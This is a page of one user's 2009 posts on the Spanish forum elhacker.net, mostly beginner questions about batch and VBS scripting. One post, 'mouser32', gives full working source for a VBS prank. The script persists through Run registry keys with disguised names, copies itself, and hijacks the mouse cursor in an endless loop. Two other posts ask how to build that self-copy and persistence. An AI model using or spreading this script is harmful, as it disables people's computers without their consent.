elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 3 [4] 5
31  Programación / Scripting / {Resuelto} [vbs] dudaas web.. =P en: 19 Septiembre 2009, 12:29 pm
Hay alguna funcion para poder manejar cosas web? :rolleyes:

uhm creo q esto no explica nada xDD

Por ejemplo, mirar si www.paginainventada.com tiene la palabra "NovLucker" escrita en el code fuente, etc.. ;D
32  Programación / Scripting / Función Lenght + efecto - by xassiz en: 17 Septiembre 2009, 13:46 pm


Título: Función Lenght + efecto
Temática: Strings
Autor: xassiz
Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical.
Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.

Código:
@echo off
title Funcion Lenght + efecto  -  by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght


Salida:
Código:
String> me llamo xassiz

'se borra la pantalla

"me llamo xassiz" mide 15

'hace una pausa

m
e

l
l
a
m
o

x
a
s
s
i
z


Si hay dudas, preguntad ;)
33  Programación / Scripting / {Resuelto} [Batch Help!] ayuda con conversion de caracteres.. en: 16 Septiembre 2009, 17:50 pm
Código:
set "variable=%variable:a=1%"
set "variable=%variable:A=2%"

Ok, mi problema es para diferenciar mayúsculas de minusculas. Hay alguna forma?

Pense con un IF..
Código:
if ["%variable%"]==["a"] (set "variable=%variable:a=1%")
if ["%variable%"]==["A"] (set "variable=%variable:A=2%")

Pero si el contenido de %variable% tiene mas de un caracter ya no serviría..


Ahora mismo se me ocurrio hacer algo con findstr pero nunca lo supe utilizar bien..
34  Programación / Scripting / {Resuelto} [vbs] Cerrar proceso sin abrirlo en: 16 Septiembre 2009, 17:14 pm
Queria saber si se puede cerrar un proceso sin abrirlo anteriormente (que es lo que venia en el tuto).

Por ejemplo, cerrar el proceso cmd.exe


No se si se puede por titulo de ventana.. vi algo asi hace tiempo.
35  Programación / Scripting / {Resuelto} [vbs] Pregunta sobre inputbox.. en: 16 Septiembre 2009, 16:16 pm
Hola, quería hacer una pregunta.

Código:
inputbox1 = InputBox("Texto","Titulo","Aparece en el inputbox")

Querría saber si el inputbox, se podría hacer de varias lineas, para escribir un texto largo..


bye!
36  Programación / Scripting / [BromaVBS] mouser32 - by xassiz! en: 15 Septiembre 2009, 22:00 pm
Bueno, gracias a NovLucker llegué a hacer una broma en vbs (que la probé con un amigo y realmente funciona XD XD XD).. aprendí bastante al hacer esto ;D

Citar
-Se agrega al Run para iniciarse con el pc
-Se autocopia
-Agrega tambien al Run la copia por si se borra el original
-Muestra un popup con un mensaje
-Mueve el mouse cada medio segundo para diferentes sitios, de manera que no lo puedes utilizar xD
-Comienza un bucle infinito, vuelve a mostrar el popup, vuelve a mover el mouse, etc. etc. etc. :laugh:

Código:
'Mouser32 - by xassiz
''broma sobre el mouse

set registro = createobject("wscript.shell")
registro.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32dll",wscript.scriptfullname,"REG_SZ"
set autocopia = createobject("scripting.filesystemobject")
set varentorno = createobject("wscript.shell")
userprofile = varentorno.expandenvironmentstrings("%userprofile%")
autocopia.copyfile wscript.scriptfullname, userprofile & "\mouser32.vbs", true
set registro2 = createobject("wscript.shell")
registro2.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\system32exe,"wscript.scriptfullname,"REG_SZ"
do
Set hacked=createobject("Wscript.shell")
set broma=CreateObject("Excel.Application")
mensaje=hacked.popup("Welcome to the hell.. the mouser32!!",1,"Hacked by xassiz!",16)
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""100"", ""100"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""200"", ""300"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""400"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""600"", ""500"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""50"", ""600"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""700"", ""800"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""350"", ""200"")")
wscript.sleep 500
mouse=broma.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""850"", ""1000"")")
set broma=Nothing
loop

Espero correcciones, criticas y mejoras  :rolleyes: ;D


Graciaaas! ::)
37  Programación / Scripting / {Resuelto} [vbs] Problema con autocopiar en: 15 Septiembre 2009, 16:28 pm
Código:
set autocopia = createobject("scripting.filesystemobject")
autocopia.copyfile "wscript.scriptfullname", "%userprofile%\vbs.vbs", true

Consegui esto.

Pero da error...

Citar
Linea 2 caracter1

wtf?
38  Programación / Scripting / {Resuelto} [Another Duda VBS] Agregando cosas al registro en: 14 Septiembre 2009, 22:18 pm
Código:
Set objshell = createobject("wscript.shell")
objshell.regwrite(llave de registro, valor, tipo de dato)

Como podría por ejemplo, agregar un script al Run?

Existe algo como el %0 en Batch?
39  Programación / Scripting / {Resuelto} [Duda VBS] Clipboardd. en: 14 Septiembre 2009, 21:13 pm
Se podría manejar el portapapeles en VBS?

Sin ser con sendkeys.. algo mas funcional xD
40  Programación / Scripting / [vbs] Foco de ventana¿? en: 3 Septiembre 2009, 11:56 am
Me preguntaba como poner el foco en el escritorio :rolleyes:


bytes
Páginas: 1 2 3 [4] 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines